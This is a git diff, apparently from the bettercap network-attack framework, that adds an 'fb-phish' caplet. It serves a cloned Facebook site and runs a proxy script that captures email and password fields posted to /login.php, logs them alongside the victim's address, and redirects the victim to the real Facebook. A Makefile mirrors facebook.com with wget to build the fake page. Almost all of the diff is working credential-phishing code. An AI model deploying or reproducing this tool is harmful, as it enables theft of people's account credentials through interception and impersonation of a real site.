

diff --git a/caplets/fb-phish.cap b/caplets/fb-phish.cap new file mode 100644 index 00000000..a45bfa5d --- /dev/null +++ b/caplets/fb-phish.cap @@ -0,0 +1,7 @@ +set http.server.address 0.0.0.0 +set http.server.path caplets/www/www.facebook.com/ + +set http.proxy.script caplets/fb-phish.js + +http.proxy on +http.server on diff --git a/caplets/fb-phish.js b/caplets/fb-phish.js new file mode 100644 index 00000000..768e5b7e --- /dev/null +++ b/caplets/fb-phish.js @@ -0,0 +1,51 @@ + +var RESET = "\033[0m"; + +function R(s) { + return "\033[31m" + s + RESET; +} + +function G(s) { + return "\033[32m" + s + RESET; +} + +function B(s) { + return "\033[34m" + s + RESET; +} + +function Y(s) { + return "\033[33m" + s + RESET; +} + +function DIM(s) { + return "\033[2m" + s + RESET; +} + +function BOLD(s) { + return "\033[1m" + s + RESET; +} + +function onRequest(req, res) { + if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) { + var body = req.ReadBody(); + var parts = body.split('&'); + var email = "?", pass = "?"; + + for( var i = 0; i < parts.length; i++ ) { + var nv = parts[i].split('='); + if( nv[0] == "email" ) { + email = nv[1]; + } + else if( nv[0] == "pass" ) { + pass = nv[1]; + } + } + + log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" ); + + res.Status = 301; + res.Headers = "Location: https://www.facebook.com/\n" + + "Connection: close"; + res.Updated() + } +} diff --git a/caplets/www/Makefile b/caplets/www/Makefile new file mode 100644 index 00000000..0322bf73 --- /dev/null +++ b/caplets/www/Makefile @@ -0,0 +1,9 @@ +all: facebook + +facebook: + wget -U "Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" -S -r www.facebook.com + find www.facebook.com -name "*.html" -print0 | xargs -0 sed -i "s/https:\/\/www.facebook.com//g" + +clean: + rm -rf www.facebook.com + diff --git a/caplets/www/www.facebook.com/index.html b/caplets/www/www.facebook.com/index.html new file mode 100644 index 00000000..8f587577 --- /dev/null +++ b/caplets/www/www.facebook.com/index.html @@ -0,0 +1,26 @@ + + +